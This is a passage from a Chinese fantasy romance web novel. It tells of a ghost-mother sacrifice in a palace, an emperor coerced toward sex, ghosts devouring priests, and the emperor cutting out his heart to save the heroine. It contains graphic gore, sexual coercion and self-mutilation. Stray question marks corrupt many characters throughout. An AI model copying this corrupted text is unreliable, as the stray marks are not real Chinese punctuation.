有人道:“有何?惊慌?鬼母产子不过?是顺应自然,我们?有这么多道师在此,难道还怕区区一个产子虚弱的鬼母吗?” “你这道师是冒牌货啊,你难道不知道鬼孩出生便要吃人吗?鬼母不可怕,可怕的是鬼孩啊!这地方我不呆了,我要走!” “我也走!” 这一众道师,谁也想不到此地如?此阴邪,他们?只是答应了为樊二小?姐举行婚礼,可没说过?会有鬼母鬼孩出现,心中顿时生出悔意。他们?纷纷停下手中之事?,掉而逃跑,却发现地上不知什么时候升起了一个圆形的露天牢笼。 樊鸣站在笼外?。 “樊鸣,你做什么?快放我们?出去!鬼孩要来吃人了,这不是我们?能对付的!” 樊鸣目光一扫,默数完人数,见一个人也不差,就转过?身去。 有人脑子灵活转得快,道:“他、他同鬼母是一伙的!” “樊鸣你这竖子!啊!”那骂人的道师被从天上扑来的鬼孩啃掉了半颗头,人群瞬间兵荒马乱。 樊鸣脚步不慌不忙,见樊盈绣上身褪去,只有薄薄的一片布,脸有薄红,仰躺在地。嬷嬷见她似已有了兴头,便不再动手了。 一旁,赢破跪坐着,赤裸的上半身瘦削单薄,肩头白玉,腰间雪白,只是目光死盯着他。 樊鸣道:“陛下是不是还不会?要不要臣找人亲自教你?” 赢破眼是冷的,嘴角扬起,“教你妈。” 樊鸣道:“来人,教陛下如?何?行房。” 赢破被人摁倒在地,他发出野兽般的怒吼。 那个不知是什么的鬼东西又在他耳边说话?,“啧啧,真是太没用了。小?皇帝,只要你说一个好字,我就帮你杀光这里所有人,怎么样?” 赢破露出一只漆黑的眸子,吼道:“滚!” 吓得那人一屁股坐在地上,又抬头看见樊隆阴沉的目光,赶紧起身,将赢破摁到樊盈绣身边。 此时,不知是谁打开了黑色牢笼,道师们?一窝蜂地涌出来。 固守周边的侍卫提起长?枪,齐齐冲他们?而来。前有人围追堵截,后有鬼孩虎视眈眈。 道师们?不得已,宁愿放弃修为,杀人破戒,也要从此地逃出去。 一瞬间,地面?上腥风血雨,这气味引得鬼孩们?更加兴奋。 一目五中那四只鬼攀附在月亮上,道:“弟弟妹妹们?,尽情地吃吧。母亲说了,天明?之前杀光这群人!” 所有鬼孩猛扑向地上的人。 有一白须冉冉的老道师,双腿被啃咬得流血一地,躺在樊鸣脚边,樊鸣不动半分,目光直盯祭坛中那二人。 老道师口含鲜血,气息渐弱道:“谁能想到皇宫之中竟然有鬼母的封印之地,我算是相?信那个传闻了。樊家之子,你们?早已成为妖邪的走狗了吧?” 樊鸣不搭理?。 老道师喉咙中的血液发出咕噜声,道:“以修士为祭品,你们?到底向鬼母求了什么呢?让我猜猜,问题怕是出现在那位人界皇帝身上吧……咳咳……” 一剑光闪过?,老道师幽幽转过?头,脖颈喷溅鲜血。 他瞪着那举剑的樊鸣,只听眼前的黑衣青年说了一句,“聒噪。” 老道师死不瞑目。 樊鸣看赢破与樊盈绣久久不成事?,心中不由烦躁起来。 他踏步要上前,脚被一侍卫抓住。 侍卫被啃噬了半截身体,道:“大人,救我。” 樊鸣一脚蹬开。 侍卫难以置信,喊道:“大人!大人!” 鬼孩将他的头颅一口吞下,又吐了出来,头颅滚到了漆黑的角落处。 事?到如?今,这个被丢弃在角落侍卫终于明?白,今夜在场所有人都是祭品。 然而,他明?白得太晚了。 樊鸣刚要靠近祭坛中的二人,地面?刮起一道阴风。 他手拦在眼前,当风停下来之后,他看见孟枝枝苍白着脸,手里拿着一把金弓,对准了他。而那个胁迫赢破的人,被她打晕在地。 樊鸣缓缓将手抱在背后,“你怎么醒了?” 孟枝枝眼中布着红血丝,怒道:“你在做什么,樊鸣?” 她亲眼看见这人间惨剧,心中哀恸,她拉起金弓,一箭一箭地射了出去,刺中那些鬼孩,鬼孩纷纷冲她看来。 她头发散开,发尾用红绳绑住,一身皎白,宛如?神?女下界。 樊鸣心中一动,道:“你该睡到天明?。” 他将手伸了出去,道:“我先带你走。” 孟枝枝看着他,拉起金弓,对准他的脑袋,冷冰冰道:“滚。” 樊鸣道:“孟枝枝,你会后悔的。他自己选择要皇帝的权力,这场成亲便是交易,他对你的感情比不上他对权力的渴望。你见他落魄,起了恻隐之心,他对你是有心无意。” 赢破下颌线绷得紧紧的,此时只想将樊鸣碎尸万断。 孟枝枝双唇惨白,道:“他要如?何?选择是他的事?,与我何?关?” 赢破浑身血液倒流,心脏仿佛被人捏住,唇瓣冷得发颤。 “就算他选择和人成亲,我也要他心甘情愿,不是被人逼迫。” 他陡然抬头,只见得她挺拔的背影,她翩飞的裙角,近在咫尺,近得他伸手想去触碰。 孟枝枝喉咙一鼓涌,嘴角沁出血迹,她手中金弓不倒,弦被绷到最紧,“你现在是选择离开,还是死于我的箭下?” 樊鸣深深地看了她一眼,道:“希望你不要后悔。” 樊鸣转过?身,消失原地。 孟枝枝忍不住咳嗽起来,血从嘴角蔓延向下。 她回过?头,将衣服披向二人,道:“赢破,你找个机会带县主?躲起来。” 赢破焦急道:“孟芷。” 孟枝枝视线看向这一地贪食人类的鬼。 她道:“我要解决这一切。” 她抬起金弓,站起身来。 樊盈绣刚原本就清醒了几分,等看清眼前场景,吓得坐起来,她拢紧衣物,道,“孟枝枝,不行,你得留下来保护我们?!” 孟枝枝抬起金弓,射出几支箭,几个得救的老道和侍卫得了空隙,便合拢在一块对付这帮鬼邪。 樊盈绣道:“送我去桥边。” 孟枝枝斜斜落下目光,道:“县主?,这些死去侍卫都是樊家的侍卫。” 樊盈绣道:“那又如?何??” 孟枝枝不再与她多言,继续射箭。 樊盈绣道:“阿破,送我离开。” 她想搀住赢破的手,却被他一把推开。 赢破选择走向孟枝枝。 樊盈绣道:“阿破!阿破!你连我的话?都不听了吗?你难道不管我了吗?” 赢破停下脚步,转过?头,看樊盈绣眼眶含着泪。 他那漆黑的眸子眼睁睁看她落泪,道:“你走吧。” 他转而奔向孟枝枝。 樊盈绣在身后喊得撕心裂肺,道:“阿破!” 孟枝枝一个身形不稳,单膝跪在地面?,她抚着胸口,嘴里的鲜血怎么也吐不完。 她现在体内就像个漏筛子一般,血气乱走,灵气四散。修行时打好的地基大厦顷刻间崩塌。 她头晕眼花,没看见一只鬼孩正冲她扑来。 赢破冲过?去,双手摁住鬼孩的头,两只手指插进它的眼眶,活生生剜掉了这只鬼孩的眼睛。 鬼孩发出尖啸声。 其他鬼孩纷纷冲这里看来,放下手中猎物,冲赢破背后而来。 孟枝枝看清这一切,抱住了赢破后腰。 血口张开,尖锐的牙齿在撕扯血肉。 孟枝枝疼得叫了出来,但她的手紧紧抓着,始终没有松开。 “孟芷!你松手!” 孟枝枝已口齿不清,血腥味太浓厚,令她十分难受,赢破的后背全被她的血打湿了。 “快……快……逃。” 她的手终于松开,整个人向后倒去。 赢破厉声:“孟芷!” 他转过?身,看见鲜血流了一地。孟枝枝苍白的脸、雪白的脖颈、白色的衣服上被染了一片一片的红,刺得他眼睛生生的疼。 赢破将她抱在怀里,察觉到她体温凉得就像死人一般。 那些鬼孩还觊觎着她的身体,流下涎水。 赢破眼睛红得要吃人,“杀了它们?。” 那道声音又响起,道:“你想我杀了它们??” 赢破紧紧搂着怀中那个单薄的身体,恨得牙齿颤抖,道:“杀了它们?,你想要什么孤都给?你。” “好啊。哈哈哈哈哈……你可要记得你说的,我魇灵心情很好,今日那些曾帮那小?子伤过?你的人,我全帮你杀了,怎么样?” 他心中有滔天恨意。 如?果不是这些道师、侍卫,孟芷就不会留在这里为了护卫这群凡夫俗子,与鬼邪缠斗。 他们?都该给?她陪葬! 赢破道:“随你。” “哈哈哈哈哈哈……” 只是一瞬,在场所有人都爆体而亡。 第46章 第 46 章 千霄宫, 贤剑真君宫殿中有一方双宝耳青铜鼎。 这双宝耳青铜鼎据传是某位得道成仙的道人用?来锻炼丹药的炉鼎,此时里面药香弥散,炉顶升起白气旋绕屋脊,远看宛如仙云环绕。 正?坛上坐着贤剑真君, 坛下?站着路一剑和梅珊二人。 路一剑道:“师父, 这些日子多亏了药王谷道友们炼制的丹药, 大师兄身?上的伤快好了, 可是大师兄怎么还不醒来呢?” 梅珊心中也有疑惑, 不解地看着贤剑真君。 贤剑真君盘腿坐在坛上,他?慈目祥眉,有着一身?清风道骨,道:“唉……你?们还小,不知这魇灵的危害。魇灵狡猾, 活了不知多少年岁,最会诱使?人心,让人滋生心魔,只消片刻,便能让人自?寻死路。这次庭儿怕是步入了绝境, 不得已想同魇灵同归于尽。怪为师, 早知道他?是个?拼命的性格, 却还将此事安排给他?。如今有药王谷的灵丹妙药,他?全身?灵脉不光修复, 还比之前更胜一筹。只是他?的魂魄破损,这事只能为师来做,为师会为他?重塑神魂。” 梅珊眸色中都是敬重, 道:“有师父在,大师兄一定会很快好起来的。可……那只魇灵该怎么办呢?它逃至人间, 要?是出了大事……” 梅珊顿住了,自?知失言,埋下?了头。 路一剑便道:“师父,对?啊,这魇灵该当何去?” 贤剑真君手中现出一紫金葫芦,这是上等法器,只是它的底部破了个?大洞,看着叫人心疼极了。 路一剑道:“这是……大师兄身?上的葫芦!” 贤剑真君道:“庭儿不负我望,曾将魇灵装进了紫金葫芦中,只是我们低估了魇灵的实力,没想到它依然?能逃脱出去。但紫金葫芦的威力不容小觑,它有道君的神力残留,能将妖邪化成脓水,加上庭儿的无尘剑真招也让魇灵受了不小的伤,它不敢闹出风波,如今定在人界某处躲藏着。” 路一剑跪下?来,抱拳道:“师父,让我带领师弟们去解决吧。” 梅珊也跟着跪下?了。 贤剑真君从坛上下?来,扶起了路一剑,“此事已经?闹出不少风波,为师算了一卦,兆为凶。为师的弟子不多,你?们大师兄都成了这般样子,罢了……此事为师来想办法。” 路一剑道:“师父,徒儿深知能力远远比不上大师兄,但也想为师父分忧。不知师父心中能胜任此事的人选是谁,交给徒儿去说服吧!” 梅珊目光仰视着贤剑真君。 贤剑真君笑道:“你?当真要?领了此事?” 路一剑道:“能为师父分忧,是徒儿之幸。再?说此事事关重大,师父不能亲自?前去,不然?叫外人猜出个?好歹。虽然?魇灵逃跑,我们是有责任,但当初也是师父将魇灵捉回来,关守住,给人界带来了数十年的平安。徒儿不想师父一世英名,被人落下?把?柄,让人在背后指指点点。徒儿愿为师父肝脑涂地!” 贤剑真君慈爱地拍了拍他?的背,道:“好。一剑,为师希望你?能去这一趟,说服一个?人前去收伏魇灵。” “谁?” “玉坤山的蓝倾。” “什、什么!” * 赢破抱着孟枝枝的身?体,用?手咬破手腕,鲜血汩汩,他?将手腕对?准孟枝枝的嘴巴。 但她一口都喝不下?去,血全洒在了外面。 赢破咬住自?己的手腕,吸了一口血,贴上了孟枝枝的双唇,渡了过去,勉强令她喝下?。 但喂过之后,孟枝枝依然?没有恢复。 他?不管喂下?多少口血,她身?上的伤口一直不见好。 她的体温凉着,他?便将她带到自?己的房间里,用?身?体给她捂着。 他?一口一口地失血,直到双唇变得和她一样白。 就这样不知过了几天,两个?人和一只邪怪困守在这所别院里。 “她没救了。” 赢破怒道:“你?闭嘴。” 他?提起袖子,下?口咬了过去,嘴被鲜血染得通红,又将口中鲜血给孟枝枝渡了过去。 如果不是她连呼吸几乎都没有了,她的眼睛如此闭着,倒真像睡着了。 “你?再?渡多少口血都没用?。她魂魄受损,灵药无医,那夜本就是强弩之末,谁让她逞强,非要?留在那里,白白送了命。人类就是如此愚蠢的生物?。” 赢破眼下?青黑,咆哮道:“你?给孤闭嘴!有多远滚多远!” 他?拿出一把?匕首,盯着自己胳膊上的肉。 魇灵悠哉道:“你?想割你?身?上的肉喂给她?没用。无论割多少条都没用?,哈哈哈哈,而你?的血液会不断往外流,直到彻底流尽的那一刻。” 赢破狠狠往下?一剁,血肉绽开,骨头立现。 他?疼得脸上全是白汗,肌肉无法自?控,颤得很快。 这等血腥场景,让人看了后背发冷。 手臂上传来的剧痛,赢破残破地躺在地上,苟延残喘地呼吸,视野里冷意的日光,将他漆黑的眸子照得透亮,很快眼前化为白茫茫的一片,意识湮没了下?去。 见赢破晕了过去,魇灵现身?,化作一团黑气萦绕他?周身?。 “哈哈,真是一对?苦命鸳鸯。就让我来替你?们解脱吧!” 它飞到孟枝枝的面中,她的脖子上挂着一颗幽绿的珠子。 魇灵觉得惊奇,“璧水珠?” 他?往璧水珠看去,幽深窒息的绿水里面滚动着层层阴冷的水纹,周围仿佛存在着无数看不着、摸不着的挤压,暗沉沉的,仿佛永远产生不了回音,只有窒息的吞没。 只一瞬,视线就被强烈吸进去,空间急剧压缩,不受控制地缩短,放大。 轰然?,一只水夜叉盘腿而坐,它眼睛一睁一闭,诡异地注视着他?。 魇灵急剧向后退,“怎么……你?竟然?待在这璧水珠里一声不吭!” 魇灵顿时意识知道,这璧水珠里的水夜叉之所以现身?,是为了这小姑娘。它在警告他?。 魇灵道:“这小姑娘究竟什么来历?你?跟在她身?边,难道也和她做了交易?不,不对?,她身?上一丝鬼气都没有,她难道……身?上有诈?” 魇灵猛地飞到天花板上。 水夜叉睁着一只眼,笑容诡秘异常,身?上道袍与披帛飘飞,默默褪去,消失在了璧水珠中。 魇灵心中不免寒战,都说千年寒潭中有一只恶鬼想修炼成仙,看不惯天意偏爱人与万物?,唯对?鬼族残忍,便另行杀道,见人杀人,见妖杀妖,见鬼杀鬼,几百年都未听过它的消息。 看它那样子,难道真的修成鬼仙了? 这小姑娘是它庇佑的人?又或是以她为诱饵,再?行杀戮? 魇灵看着孟枝枝,眸色贪婪,他?吃过不少修士,一眼就看出她的肉身?和灵魂都美味至极。 只是,现下?他?最好与那只水夜叉井水不犯河水。 他?不甘心地回到了赢破面前,一下?遁入了他?的身?体里。 等赢破醒来,一步奔向孟枝枝的床头。 他?用?手触着她的脸,依然?冰凉一片,内心凉了半截。 他?抽出匕首,想继续割手上的肉。 “喂,小子。要?我说多少遍,你?这样的割法没用?。我有办法让你?救醒她。” 赢破捏紧匕首刀柄,停住。 他?沉声道:“你?要?什么?身?份、身?体、精气、灵魂……孤都给你?。” 魇灵听闻哈哈大笑,道:“你?小子……你?以为你?有什么值得我要?的。你?这皇帝当得窝囊,无人号令,既没有一身?本领,做人也不行,关键时候只有一人护你?。” “可惜这唯一的人也要?死了。” 赢破瞪着他?,眼白之中的红色血管都快要?爆炸了,道:“她果然?还没死,还没死,对?不对??” 他?癫狂的样子,披头散发像个?痴人。 魇灵道:“没错。” 赢破昏暗死气的眼睛顿时迸出光来。 魇灵声音鬼魅道:“不过救她这个?代价,就不知道你?付不付得起了。” 赢破道:“你?要?孤怎么做?” 魇灵的话化作他?耳边的一道风,轻轻的吹过。 “割下?你?的心头肉,接住你?的心头血,通通喂给她,这样她才能清醒过来。” “只是,到时候你?能不能活着见她醒来就不一定了。怎么样,就算这样,你?还愿意吗,人子?” 魇灵作壁上观,戏谑之音绵绵。 它最爱捉弄人类,尤其爱人类临死之前受尽折磨,到死的最后一刻再?知晓真相时的模样。 这个?小皇帝如此羸弱无用?,有什么可图?所谓的“神仙肉”,不过是那群凡人没有见识,这个?小子身?上的肉怎么可能是真的神仙肉,除非这小子是神仙。 神仙可不是那些自?诩仙门之人,那些仙门之人只不过是群臭道士罢了。神仙应当是与盘古开天辟地同时代的真神,创造世界的真神,而谁都没见过真正?神仙,那不过只是传说罢了。 这世上血肉千千万万,但凡有个?大补的,都被叫做神仙肉。但真正?的神仙肉,却是这些人想也想不到的。 故而,赢破的血肉在魇灵眼中不值一提。他?身?为鬼族,修炼到这个?地步,一个?人类的血肉就像芝麻塞牙缝,对?他?的帮助意义不大。 他?不过是他?逃脱追杀的容器,如今谁能知道他?魇灵躲在这里? 从幻境之中,魇灵便看出了他?会为了眼前这个?小姑娘付出一切。 认真想一想,人的心脏没了,如何能活? 孟枝枝是医修,她不是邪修,伤了魂魄,吃人类的心脏又有何用?? 乐趣,这便是魇灵唯一能从他?身?上获得唯一有价值的东西。 扑哧一声,赢破一刀插入胸口,细细搅动。 他?五官抽搐,双腿滑跪在地上,眼神看着床上死气沉沉的孟枝枝,手握着匕首,每搅动一次,胸口的血像瀑布一样流下?来。 魇灵看得兴奋极了,拍手夸赞道:“人子,做得好。割吧,喂吧,很快你?就能见到她苏醒了。” 赢破脸如白纸,匕首被他?扔在地上。 他?血色的双手捧出一颗心。 皇宫里所有人都说他?是天生无心之人,没有心跳,不懂感情?,是鬼皇帝,是怪物?,但是他?如今却从自?己的胸膛里掏出了一颗血淋淋的心,是红的,还在跳动着。 赢破双眸赤红,吃吃地笑。 他?艰难地附在她耳边,语气如孩童炫耀,几番天真道:“孟芷,你?看,我有心。” 孟枝枝那天所问仿佛还在耳边飘荡——“赢破,你?懂什么是爱吗?” 爱,什么是爱呢? 他?眼中莫名流下?泪,“我不懂。” 他?将自?己的心一口一口咬碎,对?上孟枝枝的唇,喂给她吃。这等瘆人的做法,此刻却显得尤为悲怆。 被丢在这个?被人遗弃的别院里,他?什么都没有,唯有捧上自?己的所有,那是他?所剩无几的东西。 他?眼皮浮肿,干裂的双唇冻得打颤,整个?人已经?到了极限,但依然?伸出手执拗地想擦干她嘴角的血渍。 吃下?赢破的心,孟枝枝的额心陡然?现出金光,生长出两只交叉的蛇尾金纹。光芒四射,照亮整座房间。 魇灵顿时大惊失色,心道,这是什么? 他?从赢破的身?体飞速抽离出来,大量的鬼气涌动,赢破再?遭受冲击,彻底昏倒在地。 魇灵想要?靠近孟枝枝,璧水珠发出幽深的绿光,只一瞬,将他?打回了赢破体内。 魇灵深受重伤,道:“好啊,你?竟然?打的这个?算盘!你?是不是早就知道那小姑娘身?上的不凡?总有一天我会知道那到底是什么!” 璧水珠散着莹莹幽光,整个?房间宛如置身?于千年深潭之中,墙面倒映冷色碧波,潜藏着噬骨的杀意。 魇灵不敢再?闹,只得老老实实呆着。 别院明?明?就在跟前,小桃仙和冥漆却上不了这座桥,那夜之后,此地仿佛被封印了一般,有看不见的结界隔绝了外来一切法力。 是以他?们没有赶到孟枝枝身?边,也无法亲眼见证这里面恐怖的一切。 小桃仙道:“急死我了,我都发给她一百多条通信符了,她怎么不回我们?冥漆,你?说枝枝是不是出什么事了。” 冥漆拉着小桃仙,飞快躲到了附近。 不远处,樊鸣带着人过来了。 是一帮侍卫驻守在桥头。 樊鸣厉声道:“一个?苍蝇都不许放过去!” 众侍卫道:“是。” 自?孟枝枝之前发来消息让他?们躲藏,冥漆和小桃仙就躲在皇宫里,他?们知晓有很多道士来了别院,经?过昨夜却一个?都没出来。 冥漆想到一个?可能性,他?们都死了。 冥漆立马道:“小桃仙,你?不能留在这里了。” 小桃仙不爽道:“冥漆,你?什么意思?” 冥漆道:“这里不安全,你?先回玉坤山去。” 他?眼下?长出长须,一双绿色眼睛显示出妖怪的本性。 小桃仙道:“冥漆,你?以为你?是谁?凭什么使?唤我回去!姑奶奶还就不回去了,不就是一帮凡人,谁怕谁?我这就去杀了他?们。” 冥漆拉住小桃仙的手腕,重声道:“小桃仙,这不是儿戏!人类没有你?想的那样无知、不敌,如果能对?付他?们,不至于有那么多妖怪都从山林溃逃出来。你?什么时候才能……懂事一点。” 小桃仙眼睛一瞪,道:“你?是在说我不懂事?” 冥漆不去看她的眼睛,垂下?长须。 小桃仙道:“是,那些人类阴险狡诈,我们这种山林里傻乎乎的妖怪敌不过他?们,所以呢?我们就活该被欺负吗?你?是山林的鼠妖,是天生地长的精灵,不是不见天日的老鼠,你?看看你?这一百年都过了什么样的日子?你?就像个?老鼠一样打洞睡觉,见人就躲,吃人剩下?的食物?!这就是你?要?过的生活吗?别忘了,你?的妖丹是谁捏碎的,就是这帮该死的人类!你?现在阻止我?冥漆,你?的尊严呢?我以你?为耻!” “你?说得没错,我没有尊严,我早忘了以前的生活。我现在是躲藏在皇都里仰人鼻息的老鼠,不再?是山林里的鼠妖了,”冥漆抬起头,语气中没有一点羞耻,“你?回去吧。玉坤山催了你?很多遍,你?早该回去了。” 他?越是这样平淡,小桃仙越拿他?没办法,心中的委屈一下?集结起来。 她气得一口咬在他?的肩膀上,一双眼睛红红的,她口齿不清道,“王……八蛋。” 冥漆道:“小桃仙,不要?再?任性了。” 他?双手掐住她的两颊,捏得很小心,将她的脸慢慢地从自?己的肩膀上推开。 “玉坤山是个?好去处,你?不应该跟我这么混下?去。我无心成仙,你?知道的。” 小桃仙甩掉他?的手,走出几步后,又回头,眼下?流下?一道泪痕。 “冥漆,你?个?大笨蛋,我走了,你?会后悔的!” 小桃仙化成一股风,消失原地,只留下?数朵桃花碎了一地,花瓣飘飞,零零落落。 冥漆抬起那双忧伤的绿色眸子,拾起那些掉落的花瓣,每一次小桃仙生气就会掉落很多的花瓣。 他?每一次都会小心地将它们拢好。 这是他?喜欢的姑娘啊。 但,他?伤了她的心。 他?的心也快碎了。 第47章 第 47 章 说那日赢破剜心之?后, 给孟枝枝喂下,孟枝枝额头出现一道金纹,一直亮了许久许久,从日到夜, 在这沉寂阴森的?别?院之?中。 赢破率先醒来, 他先起身?去看孟枝枝, 见她脸色渐好, 俯下身?听她的?胸口?。 这一瞬的?时?间仿佛被人无?限拉长, 心中焦急万分。 他恍惚听见一声轻轻的?砰,瞳仁一大,不敢确定?。 紧接着,一声接着一声。他的?眼睛也跟着波动。 她的?心脏正有节奏地跳动着,跳动得很轻, 但是那一丝生机就像是土壤里升出的?一颗芽儿。 她活过来了。 他脸上的?神情狂喜,又?贴得更深去听。 这时?他的?胸口?拉扯一疼,他低头去看胸口?,那里原本破开了一个?大洞,此刻血肉粘起来, 形成乱七八糟交错的?像数条蜈蚣状的?痕迹, 它们正在肆意生长, 发出滋滋的?声音。 这就是他,怪物?的?真面目。 魇灵漂浮在空中, 道:“小子?,你得感谢我,如果不是我, 你就死了。” 赢破道:“你想?要什么?” 魇灵道:“既然你如此急于付出代价,那我就说了, 我要她。” 他围绕在孟枝枝周身?。 赢破杀气腾腾,道:“你找死!” 魇灵自知不可能,且不说孟枝枝有怪异之?相,那双蛇尾的?金纹出现的?一瞬让他骨子?里感觉到战栗,再?说那个?璧水珠里的?水夜叉还打着她的?主意,他现在不能与之?匹敌。 只是他素来喜欢捉弄人,救孟枝枝的?事是歪打正着,没在这个?小子?身?上找到乐趣,便想?看这小子?着急,看人越着急,他越是心情愉悦,连带着被水夜叉压制的?坏心情都消散一空。 看着小皇帝散着发,扑咬过来,似是要弄死他的?样?子?,魇灵便觉得发笑。 他绕到赢破面前,道:“比起她,其实我对你更感兴趣。你不想?知道,你是个?什么东西吗?” 他观察这个?小子?也有多日,突然想?起一些旧事,便觉得这事十分有意思。 赢氏一族是几大仙门立下仙誓任命的?人类皇帝,来路正统,但可惜命短。 上一任赢氏皇帝发了疯想?要修炼成仙,无?心女色,整个?后宫遗留下的?只有这个?独苗苗。 这个?独苗苗异于常人,分明是肉体凡胎,但这身?血肉不光能令死人复生,还能拥有可怕的?治愈能力?。他的?生父是人类不假,他的?生母是谁,无?人知晓,只听说是个?女道士。 能造就下一代有这般奇异之?能,就算是仙门那帮子?人也做不到,真是成仙的?父亲庇佑? 成仙…… 魇灵心中嗤笑。 赢破穿过他,为孟枝枝披上被子?,掖了掖,又?为她擦了擦脸。 魇灵又?缠绕在他耳边,“人没心脏如何能活,你能活下来,不觉得奇怪?你难道不想?知道这一切吗?” 赢破转过身?,不予搭理。他抚着胸口?,拖着残身?,艰难往外走。 魇灵死缠烂打道:“我能让你拥有一切!不管是什么人,都无?法再?阻拦你。你不是想?和她在一起吗?权力?、力?量、至高无?上的?地位,这一切我都可以给你,只要你听我的?。” 那句“跟她在一起”迫使赢破停下脚步。 他迟疑道:“这些就能留住她?” 魇灵喜道,“自然,这世上美人都爱慕强者。你强一分,她就爱你一分,你强十分,就爱你十分。你仔细想?想?,你有何处胜过她?没有!你只是个?可怜虫,被人关在这里,你底下那些人不能自己动手,就眼巴巴等着让你被鬼吃掉。” 赢破捏紧拳头,道:“她是为了救孤才冲出来的?。” 魇灵道:“换做另一个?人,她一样?会这么做。像她这样?天真博爱的?人,对谁都善良。你有什么能在她心中胜过其他人?” 赢破怒道:“你……” 魇灵雪上加霜道:“就算是那个?樊鸣,也比你强得多。他有手段,这里所有人都听他的?命令,让你们断粮就断粮。现在,他正派人在外把守,你和她困守在这个?鬼地方,只能被活活饿死,你又?能怎么做?难不成想?偷抢狗食喂给她吃?” 赢破恨道:“你偷看了孤的?记忆!” 魇灵道:“没错,这就是我的?能力?。小子?,只要你愿意,外面那些人的?命都捏在你手里。” 赢破恶狠狠地瞪着,忽而讥笑道:“你想?让孤怎么做?” 魇灵半是神秘,幽幽道:“你听说过魔吗?” 赢破沉默以待。 魇灵道:“魔,是现今这世上令仙门都要胆寒的唯一主宰。魔才是真正的?神,拥有天生神力?,那些仙门算什么东西!不过仗着几分从天地借来的?力?量,就自诩仙人,上古神仙所在的?神域只是个?传说,压根不存在。他们崇拜的只是魔的冒牌货。” 赢破道:“你是魔?” 魇灵哈哈笑道:“不是,我乃鬼族,不过也有人类叫我邪灵。” 赢破道:“你昨夜杀了鬼。” 魇灵不以为意,道:“那又?如何?这便是鬼族的生存之道,弱肉强食,优胜劣汰,鬼从没有感情。昨夜,你不也想杀了你的同类?” 他缠绕在赢破的?身?边,嗅着味道,陶醉道:“啊,这个?味道,我太?熟悉了。你想?杀了我,还想?杀了外面那群人。你和其他人类不一样?,你心底早该清楚。成魔吧,只要你成为魔,这天下什么都是你的?。” 赢破冷眼相看,道:“孤不。” “为什么?!” 魇灵难以相信,事到如今,眼前这个?人子?真让他看不清楚。他用权力?、力?量、女人,还有一切的?仇恨去煽动这个?小怪物?,他竟然没有动容? 赢破抓着衣侧,残破地往外走。 “你去哪儿?” 赢破再?不搭理他。 只见小皇帝一路走着,步伐拖沓,但很赶。魇灵见他翻遍整个?屋子?,捡起了斧头,正要讥讽他不自量力?,只见小皇帝拿起了地上的?柴火砍起来,不一会儿火烧了起来,从厨房里升起缭缭炊烟。 魇灵拍着肚子?,哈哈大笑起来,“傻子?,真是个?大傻子?。” 忽而,他的?笑声转向阴狠,“蠢货!我就看着你怎么自寻死路!” 说罢,浓雾般的?黑气霎那间消失原地,天空一片清明,仿佛那道黑影从未来过。 孟枝枝做了一个?很长的?梦,梦到从小到大所经历过的?所有事,她意外梦见许久未见的?亲身?父母,那是一段被掩盖了太?久的?记忆,久到她竟想?不起自己还有这段经历。 门被轻轻遮掩着,外面传来声音。 “将她卖了吧。” “可是她是我们的?亲生女儿啊。” 男人叹息道:“家里没剩多少钱了,儿子?以后还要读书考状元娶媳妇儿,这一桩桩哪里不需要钱?要怪就怪她得了这个?富贵病,我们已?尽了力?,总不能因为她,把整个?家都拖垮了。” 一道女声呜咽不止,许久才道:“如果明义回来见不着妹妹……” “明义是我儿,我养了他这么多年,难道还要跟我翻脸不成?” 孟枝枝躺在床上,眼睛看着那未合上的?门缝。 爹娘的?声音无?情地传进了她的?耳朵里,她浑身?发烫难受,喉咙不断咳嗽着,却只能发出微弱的?声音,就像一只孱弱的?幼猫叫声。 屋外的?声音盖过了她的?咳嗽声,一字一句清晰贯耳。 她心里压抑得难受,身?体重得像灌了铅,一句话都说不出来,她好想?快点长大,好想?快点见到师父。 她挨过这些时?间宛如挨过漫长的?一生。 “枝枝。”熟悉的?声音在耳边响起,抬头一看是孟慕华站在不远处喊她。 孟枝枝哭着跑了过去,抱住师父的?腰,委屈道:“师父,师父。我好想?你。” 孟慕华摸着她的?脑袋,道:“你终究还是记起那些了。” 孟枝枝不解,抬起头,鼻子?哭得红红的?,道:“我不难过,我有师父,有师父对我好就够了。就算爹娘不要我又?怎么样?,师父……我……我只是心里有些难过罢了。” 孟慕华用手抚起她的?下巴,掏出帕子?给她擦泪,孟枝枝双眼通红,眼巴巴地望着她。 她道:“枝枝,不要憋着,难过就哭吧。” 孟枝枝一瞬破功,哇地一声哭得更厉害了,埋怨道:“师父,师父,我想?回家,我不要留在这里。” 师父为她擦了擦脸,严肃的?面容难得展开轻柔,道:“枝枝,你该走了。” 孟枝枝愣住,道:“走,我能走哪里去?师父,你在说些什么?” 一瞬间,记忆一股脑塞进她的?脑海中。 孟枝枝想?起了小桃仙、冥漆,还有皇宫……皇宫……脑海里突然浮现萧索的?别?院里,小皇帝散着发赤着脚站在那里。 小皇帝…… 她终于想?起来了。 月夜之?下,鬼母诞下数只鬼子?,鬼子?从猩红的?圆月上跳跃而下,数位道士与鬼打斗,场景残暴血腥。 她艰难抵抗,已?然力?竭,最?后一力?是为小皇帝挡了一下。 孟枝枝怔了半晌,她看了看自己,又?看向师父,道:“那我现在在哪里?” 孟慕华慈爱地看着她,似是不忍道:“走马灯。” 孟枝枝有片刻恍然,道:“我……要死了吗?” 孟慕华看着她。 孟枝枝摇头,道:“不,师父,你不会是假的?,我不信!我还要跟你一起回家,我真的?知道错了。你别?走,不要丢下我一个?人。” 孟慕华抱歉地看着她,叹息道:“枝枝……” 她的?身?影很快淡去。 孟枝枝猛追了过去,一把抓了空。 “师父!” “师父!你在哪里?” 她看见四周是空荡荡一片黑,黑得什么也看不见,她产生了漫无?边际的?恐惧,她什么也抓不住,焦虑和恐慌使得她不得不镇定?下来。 她紧闭上眼,心道:这一切都是假的?,醒过来,我要醒过来。 耳旁一道声音浮出水面,“哪怕她以后成为一个?不生不灭的?不死人,等你死后,她终生孤苦无?依,你也愿意吗?” 她猛地睁开眼,看见身?形黯淡的?师父正跪在一道模糊的?影子?前。 师父脸色忍痛决绝,“只要能救她,我愿意。” 孟枝枝冲到师父身?前蹲下,道:“师父,你在说什么?你要救谁?” 但师父像听不见她说话一样?,继续埋着头跪着。 那道模糊的?影子?点了点头,“好,我答应你。我看见了你的?未来,这孩子?跟你的?缘分不深,你有你的?路,她也有自己的?路要走,你们之?间只有短短几年的?缘分,我言尽于此。” 师父睁着红红的?双眸,一言不发。 是在说她和师父吗?这难道又?是她一段被忘掉的?记忆? 孟枝枝觉得头疼欲裂,她冲着那道模糊的?影子?喊道:“你究竟是谁?你凭什么这么说!” 